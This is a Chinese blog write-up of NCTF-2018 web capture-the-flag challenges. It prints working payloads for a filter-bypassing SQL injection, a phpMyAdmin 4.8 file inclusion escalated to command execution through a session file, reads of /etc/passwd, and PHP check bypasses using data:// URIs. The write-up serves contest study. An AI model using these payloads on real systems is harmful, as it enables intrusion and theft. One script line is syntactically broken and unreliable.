Yoga7xm's Blog

NCTF-2018 WriteUp web

字数统计: 2.1k阅读时长: 9 min
2018/11/26 Share

0x01 前言

第一次正式参加这种CTF,写题的时候发现了很多不足,基础不够扎实,还是得艰苦奋斗。。

0x02 Write Up

签到题

最爱做签到题了 hhhhhhh

直接Bp抓包 可以得到flag

滴!晨跑打卡

打开是一个搜索功能的index,应该是考察sql注入,于是手工fuzz测试过滤的字符

其中空格、双引号、减号被过滤,可以用%a0或者/**/替代空格

1.爆出位置

1
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1'%a0union%a0select%a01,2,3%a0and%a0'1'='1

2.爆出数据库

1
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1'%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(schema_name%a0SEPARATOR%a00x3c62723e)%a0FROM%a0INFORMATION_SCHEMA.SCHEMATA),3%a0and%a0'1'='1

3.爆出表名

1
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1'%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(table_name%a0SEPARATOR%a00x3c62723e)%a0FROM%a0INFORMATION_SCHEMA.TABLES%a0WHERE%a0TABLE_SCHEMA=0x666c6161616161616167),3%a0and%a0'1'='1

4.爆出列名

1
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1'%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(column_name%a0SEPARATOR%a00x3c62723e)%a0FROM%a0INFORMATION_SCHEMA.COLUMNS%a0WHERE%a0TABLE_NAME=0x6631343434343434343467),3%a0and%a0'1'='1

5.爆出 flaaaaaaag 库、 f144444444g 表、th1s_1s_flag列中的数据得到flag

1
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1'%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(th1s_1s_flag%a0SEPARATOR%a00x3c62723e)%a0FROM%a0flaaaaaaag.f144444444g),3%a0and%a0'1'='1

Go Lakers

打开是302跳转,于是用Bp抓包,得到<!-- post me viewsource -->提示,于是post提交viewsource得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
include 'getip.php';
ini_set('open_basedir','.');
if(isset($_POST['viewsource'])){
highlight_file(__FILE__);
die();
}

mt_srand(mktime()+$seed);

function de_code($value){
$value = base64_decode($value);
$result = '';
for($i=0;$i<strlen($value);$i++){
$result .= chr(ord($value[$i])-$i*2);
}
return $result;
}

if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){
header('location:https://bbs.hupu.com/24483652.html?share_from=kqapp');
}else{
echo 'great';
}

echo file_get_contents(de_code($_GET['file_']));

?>

<!DOCTYPE html>
<html>
<head>
<title>嘻嘻嘻</title>
</head>
<body>
<h3>题目在哪呢</h3>
</body>
</html>>

存在文件包含,并且有个decode方法,于是本地构造一个encode方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  
function de_code($value){
$value = base64_decode($value);
$result = '';
for($i=0;$i<strlen($value);$i++){
$result .= chr(ord($value[$i])-$i*2);
}
return $result;
}
function en_code($value)
{
$result='';
for ($i=0; $i <strlen($value) ; $i++) {
$result .= chr(ord($value[$i])+$i*2);
}
return base64_encode($result);
}
echo en_code("flag.php");
//Zm5lbTZ6dH4=
?>

提交file_=Zm5lbTZ6dH4=可获得flag!!!!!

全球最大交友网站

这题从名字上来看,知道是git源码泄露,于是用GitHack.py获取到了一个README文件,

Allsource files areingit tag1.0

但是此后再无思路,于是借鉴了这篇博客

https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html

中的利用方法。

第一次利用gitcommit.py 脚本,发现运行失败。

第二次利用scrabble工具,成功获取.git文件并查看历史

有过三次 commit,当前 head 指向 hint 这次 commit,

于是第一次,git show HEAD 6b21

发现flag已经很接近了,于是show 上一次commit

得到flag。

基本操作

打开网站是一个phpmyadmin的登录界面,于是想尝试暴力破解,但是发现这个版本的phpmyadmin有个BUG,就是会出现https not instead of http警告,无法进行爆破。。于是就搁浅了。。知道看到一个师傅的WP才找到账密–>guest:guest

登录成功后,发现这个是phpmyadmin 4.8版本的,于是百度了一下,找到了一个本地文件包含的漏洞。

提交

1
http://ctfgame.acdxvfsvd.net:20006/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

发现存在漏洞,于是进行下一步,写一句话。

然后提交:

1
http://ctfgame.acdxvfsvd.net:20006/index.php?yoga=phpinfo();&target=db_sql.php%253f/../../../../../../../../tmp/sess_0cv2r59bqn4sl0nn3farp6nov55vuvp4

查看根目录下的文件

1
http://ctfgame.acdxvfsvd.net:20006/index.php?yoga=@print_r(scandir(%22../../../../%22));&target=db_sql.php%253f/../../../../../../../../tmp/sess_0cv2r59bqn4sl0nn3farp6nov55vuvp4

发现了一个nctfffffffff文件

然后执行命令进行查看:

1
http://ctfgame.acdxvfsvd.net:20006/index.php?yoga=@system("cat ../../../../nctfffffffff");&target=db_sql.php%3f/../../../../../../../../tmp/sess_0cv2r59bqn4sl0nn3farp6nov55vuvp4

小绿草之最强大脑

右键查看源码,发现hint:<!--源码泄露了解一下?-->于是尝试了下git、svn、bak等发现了index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
session_destroy();
echo '
<script language="javascript">
alert("怎么没算对呢?");
window.history.back(-1); </script>';
}
else{
if(intval(time())-$_SESSION['time']<1){
session_destroy();
echo '
<script language="javascript">
alert("你手速太快啦,服务器承受不住!!!");
window.history.back(-1); </script> ';
}
if(intval(time())-$_SESSION['time']>2){
session_destroy();
echo '
<script language="javascript">
alert("你算的太慢了少年!");
window.history.back(-1); </script> ';
}
echo '
<script language="javascript">
alert("tql,算对了!!");
</script> ';
$_SESSION['count']++;
}
}
?>

关键信息:

  • input 的变量经过了 php 的intval处理
  • 计算时间要在 1-2 秒之间
  • 答对次数会累加

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

假如我们输入4200000000000000000000 经过intval处理后,

1
2
<?php echo intval('4200000000000000000000');?>
32位系统:2147483647 64位系统:9223372036854775807

题目的操作系统是 64 位的,所以我们输入的这个值经过 php 防止溢出处理后的实际值为9223372036854775807

找了下师傅写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#encoding=utf-8
import requests
import re
import time
s = requests.Session() # 因为要连续计算,用来保存当前会话的持续有效性
url = "http://ctfgame.acdxvfsvd.net:20004/"
number ="4200000000000000000000" #输入的数字
r = s.get(url)
math = ''
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
num_pattern =re.compile(r'<div style="display:inline;">(.*?)</div>')
num = num_pattern.findall(r.text) #正则提取公式
gg = "9223372036854775807"+'+'+math.join(num)[0:-1] #拼接真实的公式
print(gg)
ans = eval(gg) #利用eval直接来计算结果

print(ans)
data = "input={number}&ans={ans}%".format(number=number,ans=ans)

r =s.post(url,headers=headers,data=data)
time.sleep(1.5 #延时1.5秒
print(r.text)

可以跑出flag

easy_audit

打开可以直接得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}

if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}

if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}


?>

看了官方WP提示发现,这里有好几个Trick:

  1. $_REQUEST 变量虽然说是包含 $_GET,$_POST,$_COOKIE 这些,但实际上却存在一个覆盖的问题,就是当 get 和 post 中有一个同名变量 data 时,在 request变量数组 中只会有一个名为 data 的变量,并且获取的是 post 的值。通过这样的覆盖,从而绕过对 get 变量的值的过滤。
  2. $_SERVER['QUERY_STRING'] 这里的bypass,这个点应该是比较常见的了,$_SERVER['QUERY_STRING'] 获取的值是未经urldecode的,所以直接编码一下就好了。
  3. 数组这里,fuzz一下,很容易发现数组是可绕的(参见同类型的漏洞也容易想到)。
  4. file_get_contents 这里要用伪协议其实很容易想到,但很多人似乎就想着用 php://input ,这里因为要去覆盖 $_REQUEST ,所以假如是用 post 去覆盖的话,就不能用php://input 了。最简单的,用 data:// 协议就好了。

于是构造出payload

1
http://ctfgame.acdxvfsvd.net:20007/index.php?yulige[]=1&nctf=123nctfisfun&flag=data://text/plain,ccc_liubi

然后对关键字进行URL编码之后,提交可以获得flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST index.php?%79%75%6c%69%67%65[]=1&%6e%63%74%66=123%6e%63%74%66isfun&%66%6c%61%67=data://text/plain,ccc_liubi HTTP/1.1
Host: http://ctfgame.acdxvfsvd.net:20007/
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Cookie: pma_lang=zh_CN
Connection: close
Upgrade-Insecure-Requests: 1

yulige=123&nctf=123&flag=123

未完待续…..

0x03 后记

第一次做这么综合的综合题,那个.git源码泄露可以说是非常重要了,得下去恶补github工作机制了,还有平时多积累些主流CMS的漏洞…..emmmmmm 最后一点 goSpursgo!!

CATALOG
  1. 1. 0x01 前言
  2. 2. 0x02 Write Up
    1. 2.1. 签到题
    2. 2.2. 滴!晨跑打卡
    3. 2.3. Go Lakers
    4. 2.4. 全球最大交友网站
    5. 2.5. 基本操作
    6. 2.6. 小绿草之最强大脑
    7. 2.7. easy_audit
    8. 2.8. 未完待续…..
  3. 3. 0x03 后记